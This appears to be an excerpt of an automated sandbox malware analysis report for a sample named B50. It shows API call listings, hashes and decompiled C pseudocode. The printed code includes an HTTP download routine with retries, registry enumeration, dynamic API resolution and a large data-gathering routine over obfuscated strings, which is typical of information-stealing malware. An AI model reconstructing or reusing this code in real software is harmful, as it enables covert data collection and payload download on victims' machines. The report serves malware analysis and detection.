Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Strings

Pgv, xrefs: 004054F1
0qv, xrefs: 0040561C
gv, xrefs: 00405567
8gv, xrefs: 004055A2

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: gv$0qv$8gv$Pgv
API String ID: 3671864319-1352521231
Opcode ID: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00577D10, Relevance: 31.7, APIs: 21, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,00578AFE,?,?,0041ABAC,00000000,00000000), ref: 00577D29
lstrcat.KERNEL32(?,00414018), ref: 00577D3B

Part of subcall function 0057BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0057BB21

lstrcat.KERNEL32(?,00000000), ref: 00577D53
CopyFileA.KERNEL32(?,?,00000001), ref: 00577D66
DeleteFileA.KERNEL32(?), ref: 00577F8C

Part of subcall function 00577480: memset.MSVCRT ref: 005774D2
Part of subcall function 00577480: LocalAlloc.KERNEL32(00000040,?), ref: 00577521
Part of subcall function 00577480: lstrcat.KERNEL32(?,00000000), ref: 00577587

lstrcat.KERNEL32(?,00000000), ref: 00577E47
lstrcat.KERNEL32(0041A838,0041A334), ref: 00577E5B
lstrcat.KERNEL32(0041A838,?), ref: 00577E6C
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00577E7E
lstrcat.KERNEL32(0041A838,0041A37C), ref: 00577E91
lstrcat.KERNEL32(0041A838,?), ref: 00577EA1
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00577EB3
lstrcat.KERNEL32(0041A838,0041A144), ref: 00577EC6
lstrcat.KERNEL32(0041A838,?), ref: 00577EDA
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00577EEB
lstrcat.KERNEL32(0041A838,0041A06C), ref: 00577EFF
lstrcat.KERNEL32(0041A838,?), ref: 00577F13
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00577F25
lstrcat.KERNEL32(0041A838,0041A14C), ref: 00577F38
lstrcat.KERNEL32(0041A838,?), ref: 00577F4B
lstrcat.KERNEL32(0041A838,00418BC0), ref: 00577F5D

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID:
API String ID: 3522136165-0
Opcode ID: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction ID: 041964b2bbe8ccfc4f184112bdba2b5e236faff0cefc34a47e028c976f119da3
Opcode Fuzzy Hash: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction Fuzzy Hash: AD614FB1611104AFC710EBA4EE48DEA37F8FF4C305F008569F60983161D678EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 31.7, APIs: 21, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000000,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,00765AD0), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,00765AA0), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,00765BF0), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,00765BD0), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,00765AC0), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID:
API String ID: 3522136165-0
Opcode ID: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_v2020 = InternetOpenA(0x41401a, 0, 0, 0, 0);
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_v2016 = InternetConnectA(_v2020, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v2016 = InternetConnectA(_v2020, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0x400100, 0);
						} else {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0);
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
							if(_v2292 != 0) {
								while(1) {
									_v4304 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308);
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x0040527e
0x00405239
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052e0
0x00405297
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,00762398,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,00762398,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00762398), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

200, xrefs: 0040534D
https://, xrefs: 004051EA

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$https://
API String ID: 3903783505-2276523601
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				long _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0x765c50
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068);
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_v2072 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0);
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0x765c50
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						if(RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064) == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0x7692b0
							if(RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0x769100
									if(RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b445
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(80000002,00765C50,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

P\v, xrefs: 0040B376, 0040B407
%s\%s, xrefs: 0040B40E
?, xrefs: 0040B357

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?$P\v
API String ID: 2323328657-713687291
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0057C530, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0057C582
GetProcAddress.KERNEL32(0041AA64,`t), ref: 0057C59A
GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0057C5B2
GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0057C5CB
GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0057C5E3
GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0057C5FB
GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0057C614
GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 0057C62C
GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0057C644
GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0057C65D
GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0057C673
LoadLibraryA.KERNEL32(0041A0F8,?,00576DC2), ref: 0057C685
LoadLibraryA.KERNEL32(0041A658,?,00576DC2), ref: 0057C697
GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0057C6B8
GetProcAddress.KERNEL32(0041A934,0041A0B8), ref: 0057C6D9

Strings

`t, xrefs: 0057C58D, 0057C592
`u, xrefs: 0057C55A, 0057C560

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: `u$`t
API String ID: 2238633743-3693986473
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: 7bf0f8f4c34aedde9078bfe3d10916b2c6afd1e327ed741457395f1bcd018657
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: B74174F5523200DFC344DFA8FE889A23BB9BB88251705C939E50983671D63895A1CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.zip, xrefs: 00411586
.lzh, xrefs: 004115CE
.arc, xrefs: 004115B7
.zoo, xrefs: 004115A0
.gz, xrefs: 004115FC
.arj, xrefs: 004115E5
.tgz, xrefs: 00411613

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0057A950, Relevance: 26.7, APIs: 3, Strings: 12, Instructions: 489memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,005769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0057A95A
RtlAllocateHeap.NTDLL(00000000,?,005769FC), ref: 0057A961

Part of subcall function 005772B0: LoadLibraryA.KERNEL32(0041A6A4,?,0057A971,?,005769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 005772B9
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A4D0), ref: 005772DF
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 005772F7
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0057730F
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00577328
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00577340
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A684), ref: 00577358
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00577371
Part of subcall function 005772B0: GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00577389

Part of subcall function 0057A640: lstrcat.KERNEL32(?,00000000), ref: 0057A684
Part of subcall function 0057A640: lstrcat.KERNEL32(?,?), ref: 0057A6A9
Part of subcall function 0057A640: lstrcat.KERNEL32(?,0041A74C), ref: 0057A6BD

Part of subcall function 0057A760: lstrcat.KERNEL32(?,00000000), ref: 0057A7A4
Part of subcall function 0057A760: lstrcat.KERNEL32(?,?), ref: 0057A7C9
Part of subcall function 0057A760: lstrcat.KERNEL32(?,0041A74C), ref: 0057A7DD

Part of subcall function 0057A870: lstrcat.KERNEL32(?,0041ABAC), ref: 0057A8B7
Part of subcall function 0057A870: lstrcat.KERNEL32(?,?), ref: 0057A8CB
Part of subcall function 0057A870: lstrcat.KERNEL32(?,0041A210), ref: 0057A8DF

lstrlen.KERNEL32(0041A838), ref: 0057AE66

Part of subcall function 005773A0: FreeLibrary.KERNEL32(0041A82C,?,0057AE98,0041A838,00000004), ref: 005773A9

Part of subcall function 005773C0: FreeLibrary.KERNEL32(0041A824,?,0057AE9D,0041A838,00000004), ref: 005773C9

Strings

(cv, xrefs: 0057ACD6, 0057ACDC
Xcv, xrefs: 0057ADBA, 0057ADC0
(tv, xrefs: 0057AB34, 0057AB3A
Ptv, xrefs: 0057AD22, 0057AD28
rv, xrefs: 0057ACB0, 0057ACB6
(v, xrefs: 0057ADE0, 0057ADE6
prv, xrefs: 0057AC18, 0057AC1E
(`v, xrefs: 0057AD48, 0057AD4E
@pv, xrefs: 0057AA9C, 0057AAA2
xtv, xrefs: 0057AE06, 0057AE0C
'v, xrefs: 0057AD6E, 0057AD74
pv, xrefs: 0057ABA6, 0057ABAC

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeap$AllocateLoadProcesslstrlen
String ID: (v$ rv$(`v$(cv$(tv$@pv$Ptv$Xcv$prv$xtv$'v$pv
API String ID: 3556552367-2375135859
Opcode ID: 23dd1318b6aaf78c3d261367f3a5fd619d31d4c0f1ccad44dc404d9b888ac624
Instruction ID: 93e1aaef3f56b2e9411d59976822bd9928b8e69cde1d0fde6cd77d19fc258273
Opcode Fuzzy Hash: 23dd1318b6aaf78c3d261367f3a5fd619d31d4c0f1ccad44dc404d9b888ac624
Instruction Fuzzy Hash: 9F02C7B6605109BFC748EF98EC85DAB37BDBB8C700B04C11CBA1DD7255D634E9218BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040A700, Relevance: 26.7, APIs: 3, Strings: 12, Instructions: 489
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040A700(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _t233;
				void* _t234;
				intOrPtr _t241;
				intOrPtr _t243;
				intOrPtr _t245;
				intOrPtr _t247;
				intOrPtr _t249;
				intOrPtr _t251;
				intOrPtr _t253;
				intOrPtr _t255;
				intOrPtr _t257;
				intOrPtr _t259;
				intOrPtr _t261;
				intOrPtr _t263;
				intOrPtr _t265;
				intOrPtr _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				intOrPtr _t277;
				intOrPtr _t279;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t285;
				intOrPtr _t287;
				intOrPtr _t289;
				intOrPtr _t291;
				intOrPtr _t293;
				intOrPtr _t295;
				intOrPtr _t297;
				intOrPtr _t299;
				intOrPtr _t301;
				intOrPtr _t303;
				intOrPtr _t304;
				intOrPtr _t305;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t311;
				intOrPtr _t313;
				intOrPtr _t315;
				intOrPtr _t317;
				intOrPtr _t319;
				intOrPtr _t321;
				intOrPtr _t323;
				intOrPtr _t325;
				intOrPtr _t327;
				intOrPtr _t329;
				intOrPtr _t331;
				intOrPtr _t333;
				intOrPtr _t335;
				intOrPtr _t337;
				intOrPtr _t339;
				intOrPtr _t341;
				intOrPtr _t343;
				intOrPtr _t345;
				intOrPtr _t347;
				intOrPtr _t349;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t365;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t370;
				intOrPtr _t371;
				void* _t407;

				_t407 = __eflags;
				 *0x41a838 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
				E00407060();
				 *0x41a83c = 0;
				_t241 =  *0x41a290; // 0x768d98
				_t307 =  *0x41a250; // 0x767018
				E0040A3F0(_t241, _t407, _t307, _t241, _a4, _a8, _a12, _a16);
				_t243 =  *0x41a1dc; // 0x7682b8
				_t309 =  *0x41a7a0; // 0x768a50
				E0040A3F0(_t243, _t407, _t309, _t243, _a4, _a8, _a12, _a16);
				_t245 =  *0x41a750; // 0x7682d0
				_t311 =  *0x41a09c; // 0x7671d0
				E0040A3F0(_t245, _t407, _t311, _t245, _a4, _a8, _a12, _a16);
				_t247 =  *0x41a27c; // 0x768d88
				_t313 =  *0x41a7cc; // 0x768a90
				E0040A3F0(_t247, _t407, _t313, _t247, _a4, _a8, _a12, _a16);
				_t249 =  *0x41a520; // 0x768d38
				_t315 =  *0x41a638; // 0x768ad0
				E0040A3F0(_t249, _t407, _t315, _t249, _a4, _a8, _a12, _a16);
				_t251 =  *0x41a42c; // 0x768ce8
				_t317 =  *0x41a7d8; // 0x768b70
				E0040A3F0(_t251, _t407, _t317, _t251, _a4, _a8, _a12, _a16);
				_t253 =  *0x41a5c8; // 0x768da8
				_t319 =  *0x41a390; // 0x768b90
				E0040A3F0(_t253, _t407, _t319, _t253, _a4, _a8, _a12, _a16);
				_t255 =  *0x41a47c; // 0x768c78
				_t321 =  *0x41a068; // 0x767040
				E0040A3F0(_t255, _t407, _t321, _t255, _a4, _a8, _a12, _a16);
				_t257 =  *0x41a24c; // 0x7683c0
				_t323 =  *0x41a168; // 0x768af0
				E0040A3F0(_t257, _t407, _t323, _t257, _a4, _a8, _a12, _a16);
				_t259 =  *0x41a3e0; // 0x768300
				_t325 =  *0x41a1d4; // 0x768240
				E0040A3F0(_t259, _t407, _t325, _t259, _a4, _a8, _a12, _a16);
				_t261 =  *0x41a028; // 0x768c88
				_t327 =  *0x41a5e0; // 0x768b30
				E0040A3F0(_t261, _t407, _t327, _t261, _a4, _a8, _a12, _a16);
				_t263 =  *0x41a614; // 0x768d68
				_t329 =  *0x41a738; // 0x767428
				E0040A3F0(_t263, _t407, _t329, _t263, _a4, _a8, _a12, _a16);
				_t265 =  *0x41a444; // 0x768cb8
				_t331 =  *0x41a338; // 0x768670
				E0040A3F0(_t265, _t407, _t331, _t265, _a4, _a8, _a12, _a16);
				_t267 =  *0x41a094; // 0x768c48
				_t333 =  *0x41a304; // 0x767310
				E0040A3F0(_t267, _t407, _t333, _t267, _a4, _a8, _a12, _a16);
				_t269 =  *0x41a440; // 0x768d18
				_t335 =  *0x41a588; // 0x7670e0
				E0040A3F0(_t269, _t407, _t335, _t269, _a4, _a8, _a12, _a16);
				_t271 =  *0x41a54c; // 0x768df8
